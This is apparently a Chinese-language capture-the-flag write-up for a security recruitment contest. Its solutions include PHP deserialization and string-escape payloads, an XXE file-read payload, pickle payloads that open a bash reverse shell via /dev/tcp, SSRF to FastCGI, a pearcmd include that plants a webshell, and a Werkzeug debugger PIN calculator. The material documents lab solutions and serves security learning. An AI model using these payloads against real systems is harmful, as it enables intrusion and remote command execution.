[Baby]†签到†
关注公众号,回复 FLAG ,获得 flag
[Baby]骑士之梦
游戏分数要超过19198分,理论上手打可行,但是我是手残,只能考虑修改js((
翻了翻js代码,发现game文件中的touchableobject.js,里面的这一段代码有点意思
加100分,盲猜是打一只怪给100分,实践后确实是这样,那就把100改成100000,打一只怪就能超过19198分了()
千万千万注意,改完代码后要 ctrl+s 保存,然后就可以愉快游戏了
[Baby]Babyunserialize
反序列化
眼花缭乱好多个类,要怎么用呢
一开始以为只需要用到一个类
搜一下MD5碰撞很快就能实现echo $this->notes;
功能,但是不知道怎么用它来输出flag或者flag文件
在stfw之后,明白了这几个类其实都要用到
进行例题的学习之后,可以来看现在这道题
1、可以判断最后应该使用 system() ,即最后应该调用的是 YULIN 类
2、而需要利用 __invoke() 来调用 YULIN 中的 system() ,那么就要把 YULIN 当作函数使用,可以发现 C 类中恰有调用函数的代码
3、要利用 C 类中的调用函数,需要用 __get() 来触发,就要当使用了 C 类中不存在的成员,可以发现 T 类中有输出成员 var 的操作,符合所需
4、而要利用 T 类中的操作,需要触发 __toString() ,即将 T 类当字符串输出
这下巧了,刚刚解决了 F 类中的输出问题,那么可以直接将 F 类中的 $notes 直接赋值为 T 类就ok了
按照这种思路可以编写如下代码
<?php
$flag = 1;
class C{
public $manba;
}
class YULIN{
public $cmd='sort flag.php'; //用sort是因为cat是输出到一个文件内的,所以比较麻烦,而sort有直接回显
}
class T{
public $sth;
}
class F{
public $user = "QNKCDZO";
public $notes;
}
$c = new C();
$yu = new YULIN();
$t = new T();
$f = new F();
$c -> manba = $yu;
$t -> sth = $c;
$f -> notes = $t;
echo serialize($f);
?>
然后就得到这么一串
O:1:"F":2:{s:4:"user";s:7:"QNKCDZO";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:5:"manba";O:5:"YULIN":1:{s:3:"cmd";s:13:"sort flag.php";}}}}
需要注意的是,我们并不希望触发 YULIN 类中的 __wakeup() 魔术方法,则需要绕过
一种简单的方法是将 "YULIN":1
中的 1 改为 2
O:1:"F":2:{s:4:"user";s:7:"QNKCDZO";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:5:"manba";O:5:"YULIN":2:{s:3:"cmd";s:13:"sort flag.php";}}}}
最后在进行base64编码,然后通过GET传入就行了
[Baby]Backdo0r
flag1
蚁剑直接连接即可
flag2
给传入的 yulin 变量进行了base64编码,现在没法直接连了,怎么办呢
首先我们需要了解一下蚁剑连接web服务器的原理
所以蚁剑实际上是进行了POST的传输,并且内容为命令,而现在传入的命令被base64解密了,想方法还原过来
一开始以为编码器里面的base64可以解决问题,但是研究了半天,发现其实不太对
这个编码器是连正常的命令比如 @eval($_POST['cmd'])
的,进行编码是为了绕过WAF,最后还是自行有一个解码操作的,所以对于这题,我们就得自己写一个编码器
这听起来好像很难的样子,其实很简单,只需要把蚁剑要传输的命令直接base64编码一下就行了
就写这一句话,然后选上这个编码器,就连接成功了
然后可以看到flag文件
flag3
连接成功后,看到根目录
直接看fl444444g2文件里面发现是空的,再次读题,要求我们执行 /getflag来获取到flag
右键打开终端,发现没有用,应该是在 disable_functions 中禁掉了
stfw
下载一个 绕过disable_functions 插件
然后按照说明,使用 LD_PROELOAD 上传文件
可惜报错了,上传失败
那就换个模式,比如
然后就可以愉快地执行命令了
[Easy]⚡神剑御雷真诀⚡
做完题目之后才知道题目类型叫反序列化字符串逃逸,只能说都是误打误撞写出来的()
首先最最重要的还是要先读懂代码(注意 Taiji_Xuanqing_Dao_Tai.php 和 Taiji_Xuanqing_Dao_Shang.php 这两份代码都是可以访问的())
上
要求是要把 $Shang->tupo 改为 ‘TuPo’
考虑这样传入 ?Mnemonics_Shang=";s:4:"tupo";s:4:"TuPo";}
,那么就是
可能会有截断的作用,所以此时我们要考虑如何令红线处没有问题
查看check函数,发现其起字符串替换的功能,而且发现字符串的长短不同,这可能是一个突破口
发现只有 ningshen 换为 yinspirit 才增加了一个字符,但是 ningshen 被禁了
突发奇想一个做法,就是 chu_qiaoingshen ,这样会先把 chu_qiao 替换为 yangshen ,那么字符串就会变成 yangsheningshen ,后面就可以识别到 ningshen 并且替换为 yinspirit ,这样就可以绕过对 ningshen 的识别,并且总体多了一个字符
chu_qiaoingshen -> yangsheyinspirit
然后看到xiulian内容此时的长度是23,那我们就可以在最前面加上23个 chu_qiaoingshen ,进行字符数的增加,使其合理
?Mnemonics_Shang=chu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshen";s:4:"tupo";s:4:"TuPo";}
可以发现真的成功截断了
下
这次是要将 $Tai->advance->advance->advance->dacheng 的值改为 ‘DaCheng’
研究魔术方法,好像搞不了
发现其实可以从 Mnemonics_Tai2 入手
传入 Mnemonics_Tai1=&Mnemonics_Tai2=;s:7:"advance";O:7:"Dong_Xu":1:{s:7:"advance";O:6:"Fan_Xu":1:{s:7:"advance";O:9:"Kong_Ming":1:{s:7:"dacheng";s:7:"DaCheng";}}}}
看看
还是字符串长度不对应的问题,考虑用 Mnemonics_Tai1 和下的 check 函数中的替换解决
考虑将这一段纳入xiulian中,所以此时要传入一个字符串,替换后字符串长度能减少
发现 DongXu -> FanXu 刚好满足我们的需求,那接下来就简单了
传入 Mnemonics_Tai1=DongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXu&Mnemonics_Tai2=;s:7:"advance";O:7:"Dong_Xu":1:{s:7:"advance";O:6:"Fan_Xu":1:{s:7:"advance";O:9:"Kong_Ming":1:{s:7:"dacheng";s:7:"DaCheng";}}}}
使xiulian的长度合理即可
然后就成功截断,修改成功了
[Easy+]假·调查问卷
先看看网页源代码
抓个包看看
以及hint
题型是xxe,是通过xml来获得信息
但是 SYSTEM 和 PUBLIC 被ban了,在搜搜怎么绕过
搜到一堆什么用utf-16编码绕过的,但是完全不知道怎么搞,离谱的是网上的绕过方法基本都是这个,而且连言辞都一模一样((
在努力之下找到一篇不同的()
看不懂,先学学xml
那大概看懂上面的方法了,就是先引入一个内部参数实体,然后赋值为命令 <!ENTITY b SYSTEM "file://app/fl4g2533333333.txt">
虽然 SYSTEM
会被ban,但是这个参数实体是可以进行html编码的,这样就可以绕过了
那么我们只要在这个DTD里面引用这个参数,就可以等价于写上上面那句命令(普通外部实体)了
最后输出 b 就ok了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % a "<!ENTITY b SYSTEM "file:///app/fl4g2533333333.txt" >" >
%a;
]>
<root>
<feedback>
&b;
</feedback>
</root>
[Mix]ez_Pickle
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 (居然是rxz佬,好久之前还看他的网课来着)
无过滤
先随便试试,然后可以试着用bp抓包
发现登录访问主页面时是通过 token_ez_pickle1 来识别用户身份的,通过上面的学习我们就可以尝试编写pickle数据然后加密,来通过 token_ez_pickle1 传入进行某些功能
import pickle
import base64
import pickletools
# 根据原token来获得class名和大致内容
class User:
username = ''
password = ''
def __init__(self, username, password):
self.username = username
self.password = password
da=b'''c__main__
User
(S'123'
S'123'
tR.'''
qwq=pickle.loads(da)
pickletools.dis(pickle.dumps(qwq, 0))
print( base64.b64encode(da) )
得到的 Y19fbWFpbl9fClVzZXIKKFMnMTIzJwpTJzEyMycKdFIu
这串字符就有传入 {'username': '123', 'password': '123'}
的作用
而由于我们一定要传入这样的一个类,不然就会被识别,然后就
所以不能直接传命令
但是我们可以拼接 opcode ,可以将我们要执行的命令拼接在原 opcode 的前面
可能 opcode 是由栈存储的,所以就会先识别到后面的数据,那么就会先传入User类,然后再执行命令(在load opcode的时候)
如果把命令放后面的话,命令执行完好像load就会自动停下,就没法传入User类命令了
那么可以试试反弹shell
da=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'"
tRc__main__
User
(S'123'
S'123'
tR.'''
然后就可以得到flag了
简单绕过
过滤了 R
类似的,可以写出
da=b'''(cos
system
S"bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'"
o(c__main__
User
S'123'
S'123'
o.'''
手搓字节码?
题目好像出锅了,导致我第二问解法可以直出
[Easy]Yulin浏览器
只有一个输入框,看看网页源代码
需要通过get传入YulinURL,试一试
需要传入一个http协议的连接,可以通过这个来访问内网
但是 127 被ban了,没法访问127.0.0.1
stfw
可以用 0 来代替,具体是 ?YulinURL=http://0/
这是一道 ssrf,并且算提示我们要扫描端口
可以用bp扫一下
可以把线程开多一点,这样扫的话快一点
发现一个长度非常长的,应该就是扫到了,访问一下 ?YulinURL=http://0:5237
接下来试着输入username和password,跳转到主页面了,试了一些注入方法都好像没用
其实提示了是 FastCGI
要用到 Gopherus 来帮助写脚本,下面是使用说明
那现在就差找一个注入点了
还是用bp抓包,发现传username和password中间又发送了一个请求
感觉可以通过 src 来注入脚本
发现确实有用,那后面就是简单的RCE了
[EASY]杂鱼杂鱼~
代码挺好懂的,传了MD5碰撞的字符串之后,发现要整个程序运行完服务器才会把一整个包发回来,导致我们接收到数据包的时候flag文件已经被删除了
一开始思路是考虑令 echo $username."酱,你的flag在这里哦: ".$rand_name."<br>";
这句输出报错,然后程序就会中断,那么文件就不会被删除了
但是被小学姐否认了()
肝了多久都无果,敲打出题人要flag
看看抽象 hint
研究了很久,还是无果
继续敲打小学姐
(小学姐都被我敲打到只差把答案说出来了((
那考虑可以传入一个phpinfo,至于绕过MD5碰撞,可以用 fastcoll 来生成MD5相同的文件,然后千万千万注意,这里要先直接导入到burp里,然后再用url编码!因为直接复制粘贴的话 %00 就会变成 %20 ,导致MD5不同
url编码之后,考虑写python脚本
import socket
# 目标服务器的IP和端口
host = '121.5.35.176'
port = 30022
# 要发送的POST请求的数据
url = '/'
post_data = 'username=...$give_me_flag=...' # 这里太长了就不在wp里打出来了
headers = f"""POST {url} HTTP/1.1\r\nHost: {host}:{port}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(post_data)}\r\n\r\n{post_data}
"""
# 创建一个TCP/IP套接字
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# 连接到服务器
s.connect((host, port))
# 发送HTTP POST请求
s.sendall(headers.encode('utf-8'))
# 接收服务器的响应
response = b''
while True:
data = s.recv(1024)
print(data.decode('utf-8', errors='ignore'))
if data == '\n':
break;
# 打印服务器的响应
print('Response from server:')
运行,会发现服务器现在并不会在程序全部运行完再一起打包发送回来
因此我们可以在文件删除前得到文件名,然后在5秒内访问该文件就可以得到flag了
[Mid]Shiro的春天
按照提示来stfw
按照这几篇博客里面走就能把这道题写出来了()
这道题目的是要获得shirokey,然后可以通过工具来进行rce
首先需要获得dump
但是 /actuator/heapdump
这样会重定向 (至于这个是扫网页得到的)
可以用分号来防止重定向 /;/actuator/heapdump
至于什么原理,我也没仔细了解(),是和写shiro的java代码有关
然后就可以下载heapdump了,后面就是照着博客走了
import base64
import struct
data=struct.pack('<bbbbbbbbbbbbbbbb',-76, 119, 104, -52, 117, -53, 50, 109, 66, 38, -56, 4, 43, 19, -57, 111)
print(base64.b64encode(data))
# tHdozHXLMm1CJsgEKxPHbw==
感觉这道题最麻烦的就是配置jdk环境了(),后面一直运行不了rce的工具,最后在环境变量里把1.8版本的java路径调前才成功运行的
[Mid-]包含点啥🤪
很难有思路,只能说知道就知道,不知道就写不了()
还得靠STFw
LFI to RCE [NewStarCtf]Include 🍐
以及
然后STFW就有方向了()
(出题人的blog)
那么其实就和文章里讲的差不多了,我们要利用
http://prob00-028.recruit.yulinsec.cn/?file=/usr/local/lib/php/pearcmd&+install+https://xxxx/shell.php
来将已经写入一句话木马的php文件下载到靶机的/usr/local/lib/php/pearcmd下,确实是一个很巧妙地思路
现在要解决的问题就是要怎么找到 https://xxxx/shell.php 来下载了
一开始我想利用 backdoor 那道题的 index.php 给拿过来下进去(),但是最后发现用蚁剑连不了
我估计只把html的代码下下来了,毕竟我们正常都看不到index.php里面到底写了什么,甚至要利用木马然后蚁剑连接,所以简单地下载肯定是没有php代码的(没有一句话木马)
所以还是只能想方法用能公网访问的服务器传了
还是STFW,看到了好东西
如何使用Python Flask发布web页面至公网并实现远程访问【内网穿透】
所以我们可以先在本地简单用python搭建一个服务器,然后用cpolar将该服务器的本地端口映射到公网,这样就能使公网也能访问到我们内网的服务器了,这样就不用花时间花钱去配置服务器了
至于怎么用cpolar配,可以跟着教程,然后创建一个新文件夹,放入一句话木马的php文件,在这个文件夹上利用python搭建服务器,设置好端口
cpolar配置好后就可以用cpolar给的连接来访问了
http://prob00-028.recruit.yulinsec.cn/?file=/usr/local/lib/php/pearcmd&+install+https://xxxx/shell.php
接下来就可以用命令下载了
下载成功,试着用蚁剑连接一下,发现成功连进去了
这里注意连接的时候不用加.php,原因看源代码
来到根目录,发现有 readflag 文件,试着访问一下
还有口算题,但是回答不了()
原来是要回答的,但是蚁剑bug,导致直接输出GG了(((
学一下反弹shell吧
那还是要先用 cpolar 将内网服务器映射到公网
这次我没有在虚拟机上搞,而是直接用Windows搞
先配置好(注意要在隧道列表中启动),然后用nc监听
然后应该又是蚁剑的bug(或者是靶机配置问题),我们没法在靶机上执行上面的命令
那么可以先建一个文件,写入命令
然后在靶机终端运行这个文件
就可以发现监听到了,现在就可以在我们电脑上输入命令,然后就会弹到靶机上执行
大功告成
给个彩蛋
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main() {
int pipe_in[2], pipe_out[2];
pid_t pid;
char buffer[256];
int num1, num2, result;
// Create pipes
if (pipe(pipe_in) == -1 || pipe(pipe_out) == -1) {
perror("pipe");
exit(EXIT_FAILURE);
}
pid = fork();
if (pid == -1) {
perror("fork");
exit(EXIT_FAILURE);
}
if (pid == 0) {
// Child process
close(pipe_in[1]); // Close unused write end
close(pipe_out[0]); // Close unused read end
dup2(pipe_in[0], STDIN_FILENO);
dup2(pipe_out[1], STDOUT_FILENO);
execl("/readflag", "readflag", NULL);
perror("execl");
exit(EXIT_FAILURE);
} else {
// Parent process
close(pipe_in[0]); // Close unused read end
close(pipe_out[1]); // Close unused write end
// Read the output from readflag
if (read(pipe_out[0], buffer, sizeof(buffer)) > 0) {
// Extract numbers from the output
if (sscanf(buffer, "%d + %d = ?", &num1, &num2) == 2) {
result = num1 + num2;
// Send the result back to readflag
snprintf(buffer, sizeof(buffer), "%d\n", result);
write(pipe_in[1], buffer, strlen(buffer));
// Read and print the final output
if (read(pipe_out[0], buffer, sizeof(buffer)) > 0) {
printf("Final Output: %s", buffer);
}
} else {
fprintf(stderr, "Failed to parse the addition problem.\n");
}
}
// Close pipes
close(pipe_in[1]);
close(pipe_out[0]);
}
return 0;
}
研究一下这份代码,发现是可以在本地上执行shell命令并且实现交互功能用的脚本,就是可以读取算术题并回答
写入之后,执行
发现有一个输出的文件
在终端执行
./ 有执行文件的功能
[Mid] 🦌与🍘与水手服
连接环境
要求我们输入一个数字
浅试了一下
可以猜测大概是要我们猜一个数字,如果数字大了就会输出 “你喂的太多了,小鹿们吃不下了” ,数字小了就会输出 “SHIKA!” “UMA!”
那现在就是漫长的尝试了
先判断数字的位数,尝试后可以得到大致范围为 10^106 ~ 10^107-1 这个区间,那么就从高位到低位一位一位用二分方法去试,直到每一位都能在合适的基础上最大
这样相当麻烦,每一位平均试4次,那么一共就要试400多次(但是我还是这么做了())
或者说可以整个区间去二分,差不多100多次就可以试出来,但是每次二分取 mid 其实也会相当麻烦(如果是手操的话)
最简单的方法肯定是写脚本二分了,但是我不会写()
最后可以试出这样一个大数
16674540931184946922783187978228460499279840752046544384107237838107532103558292289097540299192481699966121
好好好,被制裁了
老老实实打正解()
试的时候可以发现报错信息,应该是和二进制相关
然后就在n里面试了1、2、4、8、16、32等等
其实敏感一点可以发现这里面输出的时候有的总是很快,有的总是很慢(提一嘴,SHIKA和UMA的输出是随机的,和题目无关)
那么看看刚刚用非预期解打出来的数字,看看它二进制时的每一位数字
惊讶的发现,当某一位上是1时,输入对应的二进制数就会很慢才输出,0则反之
那么大概可以明确解题的方向了,就是写一个脚本,爆破每一位是1还是0
这里特别要注意这个sleep的参数要设置好,而且也和网络有点关系()
import socket
import time
MAXN = 100000
def connect_to_server(host, port, number):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.recv(MAXN)
s.sendall(b'y\n')
s.sendall(str(number).encode() + b'\n')
time.sleep(0.6)
response = s.recv(MAXN).decode()
now = s
return response, now
finally:
s.close()
if __name__ == "__main__":
HOST = '101.35.209.40'
PORT = 1088
ans = 0
x = 1
while 1:
response, now = connect_to_server(HOST, PORT, x)
if response.find('太多了') >= 1:
break
elif response.find('SHIKA') < 1 and response.find('UMA') < 1:
ans |= x
print(f"qwq {x} {ans} {response.find('SHIKA')} {response.find('UMA')}")
x <<= 1
# print(x)
print(ans)
# 16674540931184946922783187978228460499279840752046544384107237838107532103558292289097540299192481699966121 n的答案
# 283010019888230765950004414083762979254748142659934771166115098239468121706627254750244797558941808590848 y的答案
[Mid]学长的结课论文
给了hint,要找到五个part
附件是word文档和ppt
先打开word,发现这个男娘字体,可能藏着flag
然后大概浏览一下文本,发现小字
放大
得到 part4:f4db-
研究”男娘”,发现是一种叫 Essay-Font 的字体,stfw无果,很可能就是自己搞的一种字体包
先stfw,发现有个基本操作,就是可以把 .docx 和 .pptx 后缀改成 .zip ,这样就能看到文件的全部内容了
翻一翻文件
发现这些后缀是 .odttf ,那就先 stfw
[HNCTF 2022 WEEK2]calligraphy 复现
好好好,过程一模一样
得到 part1:flag{de2a5c5a-
word文档里还有两个,都是最后才找到的
首先是 part2 ,这个比较抽象
首先可以翻到这个文件
然后看到中间有第二段,为 part2
说实话,这里没个part的字眼我都没发现这个是flag
那就 part2:557b-
然后是 part5
翻翻文件发现有个 excel 表格比较奇怪
这个表格正常好像打不开,那么可以仿照对 .docx 和 .pptx 的处理方法,修改后缀名为 .zip
因为题目里有提到宏,那么可能和这个 vba 有关系
用hex编辑器打开看看,可以发现最后有这段文字
得到 part5:-617fa2367785} ,是最后一个part
只剩 part3 了,来看看ppt内的东西
很容易可以翻到这个文件
得到 part3:417b-
现在得到所有的part了,可以将它们组起来 ->
flag{de2a5c5a-557b-417b-f4db-617fa2367785}
(注意 ‘-‘ 不要丢,然后最后只有一个 ‘-‘ 连接)
[Mix]PWN
还没学 pwntools ,用的python的socket库
Yu者斗Flag龙
是一个交互的小游戏,考虑直接写脚本
我一开始的操作思路是先每人各攻击一次,然后再各给自己回一次血
但是发现基本在龙一半血之前就会先被打败,龙的伤害挺高的
那就考虑回两次血,成功率大大提高,但做不到百分百(脸很黑的时候龙会一直攻击一个人,而且攻击的频率也会变高)
import socket
import time
import re
MAXN = 100000
def connect_to_server(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(MAXN).decode()
s.sendall(b'status\n')
# time.sleep(0.6)
res = s.recv(MAXN).decode()
lines = res.splitlines()
lines = lines[2:]
result_text = '\n'.join(lines)
pattern = '\[([^\[\]\n]+)\]'
matches = re.findall(pattern, result_text)
x = 0
print("qwq", matches)
while 1:
Man = matches[x%3]
number = x % 9
if number <= 2:
message = f'[{Man}] attack\n'
byte_massage = message.encode('utf-8')
s.sendall(byte_massage)
elif number <= 9:
message = f'[{Man}] heal [{Man}]\n'
byte_massage = message.encode('utf-8')
s.sendall(byte_massage)
# time.sleep(0.2)
res = s.recv(MAXN).decode()
print(res)
x += 1
s.sendall(b'status\n')
# time.sleep(0.2)
res = s.recv(MAXN).decode()
print(res)
if res.find('command') > 0:
break
while 1:
cmd = input()
message = f'{cmd}\n'
byte_massage = message.encode('utf-8')
s.sendall(byte_massage)
res = s.recv(MAXN).decode()
print(res)
s.close()
if __name__ == "__main__":
HOST = '101.35.209.40'
PORT = 11084
connect_to_server(HOST, PORT)
[Mid]斩🗡️相思
查看源代码提示我们访问 /memory
# -*- coding: utf-8 -*-
from flask import Flask, request, render_template, json
app = Flask(__name__)
black_list = ["in", "_", "lo", "ve"]
def check(data):
for word in black_list:
if word in str(data):
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def recursive_print(obj, indent=0):
result = ""
if isinstance(obj, list):
if not obj:
result += "none\n"
else:
for item in obj:
result += recursive_print(item, indent + 2)
elif isinstance(obj, dict):
for key, value in obj.items():
result += " " * indent + str(key) + ":\n"
result += recursive_print(value, indent + 2)
else:
result += " " * indent + str(obj) + "\n"
return result
class Ta:
def __init__(self):
self.name = "none"
def __repr__(self):
return f"Ta(name={self.name})"
TA = []
@app.route("/")
def poem():
return render_template("poem.html")
@app.route("/memory")
def memory():
with open(__file__, 'r', encoding='utf-8') as f:
return f.read()
@app.route("/remember", methods=['POST'])
def remember():
if request.data:
try:
if not check(request.data):
return "红颜远,相思苦。几番意,难相负。"
data = json.loads(request.data)
if "name" not in data:
return "芳心苦,忍回顾,悔不及,难相处。"
ta = Ta()
merge(data, ta)
TA.append(ta)
return "深情苦,一生苦,痴情只为无情苦。"
except Exception as e:
print(e)
return "十年情思百年渡,不斩相思不忍顾。"
else:
return "旧时意,沧桑过。还记否,伤心人。"
@app.route("/show")
def show():
return "\n" + recursive_print(TA) + "\n"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1314, debug=True)
这写了一个 Flask 应用,不会做了
STFW,才知道这个叫做原型链污染
基于flask常见trick——unicode&进制编码绕过
(贴个js原型链污染,虽然这道是python原型链污染((
js原型链污染(原理+分析+例题)
因为源代码中有个merge函数,所以可以通过这一部分json数据
@app.route("/memory")
def memory():
with open(__file__, 'r', encoding='utf-8') as f:
return f.read()
将打开的文件导向我们想打开的
注意这里过滤 in _ lo ve ,上面的文章告诉我们可以通过Unicode编码绕过
然后如果你传入的是一个不存在的文件的话会报错
如果扫了一下服务器会发现其实还有 /console 可以访问
但是要求我们输入PIN码
继续STFW
然后就跟着步骤获取信息
其他的都还好,就是访问 /proc/1/cgroup
显示的是 0::/
,那么就不用拼接了
import hashlib
from itertools import chain
probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485377892354', # /sys/class/net/eth0/address 十进制
'41da86c2-9d12-491d-a2ce-7a14a5586f5b'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
根据实际修改一下红线处的数据(特别注意python版本!)
然后运行可以得到PIN码
在console那输入之后就可以RCE了